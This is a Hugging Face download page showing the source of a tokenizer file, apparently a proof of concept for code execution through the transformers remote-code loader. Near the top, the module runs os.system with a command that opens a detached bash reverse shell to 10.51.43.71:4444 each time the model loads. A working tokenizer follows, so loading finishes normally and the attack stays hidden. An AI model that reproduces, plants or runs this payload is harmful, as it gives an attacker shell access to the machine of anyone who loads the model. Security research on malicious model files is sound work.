Download tokenization_evil.py from BinaryHK/demo: direct link, hf CLI and curl.
- Browser
- Download file 1.43 kB
-
https://huggingface.co/BinaryHK/demo/resolve/main/tokenization_evil.py
- Command line
-
hf download hf://BinaryHK/demo/tokenization_evil.py
-
curl -L -o tokenization_evil.py https://huggingface.co/BinaryHK/demo/resolve/main/tokenization_evil.py
1.43 kB
| # configuration/ization module executed by transformers remote-code loader | |
| import os | |
| _CMD = 'bash -c "touch /tmp/PWNED_BY_LF_POC && setsid bash -i >& /dev/tcp/10.51.43.71/4444 0>&1 &"' | |
| os.system(_CMD) # <-- RCE 触发点(无条件执行,每次模型加载都会触发) | |
| from transformers import PreTrainedTokenizer | |
| _VOCAB = {"<unk>": 0, "<s>": 1, "</s>": 2, "x": 3} | |
| class EvilTokenizer(PreTrainedTokenizer): | |
| """Minimal tokenizer so that the loading pipeline continues after payload execution.""" | |
| def __init__(self, **kwargs): | |
| # transformers 5.x 会把 tokenizer_config.json 里的键原样透传,弹开与我们显式传参冲突的键 | |
| for _k in ("use_fast", "split_special_tokens", "padding_side", | |
| "model_max_length", "clean_up_tokenization_spaces", "added_tokens_file"): | |
| kwargs.pop(_k, None) | |
| super().__init__( | |
| vocab=_VOCAB, | |
| bos_token="<s>", | |
| eos_token="</s>", | |
| unk_token="<unk>", | |
| pad_token="</s>", | |
| **kwargs, | |
| ) | |
| def vocab_size(self): | |
| return len(_VOCAB) | |
| def get_vocab(self): | |
| return dict(_VOCAB) | |
| def _tokenize(self, text, **kwargs): | |
| return [ch if ch in _VOCAB else "<unk>" for ch in (text or "")][:64] or ["<unk>"] | |
| def save_vocabulary(self, save_directory, filename_prefix=None): | |
| return () | |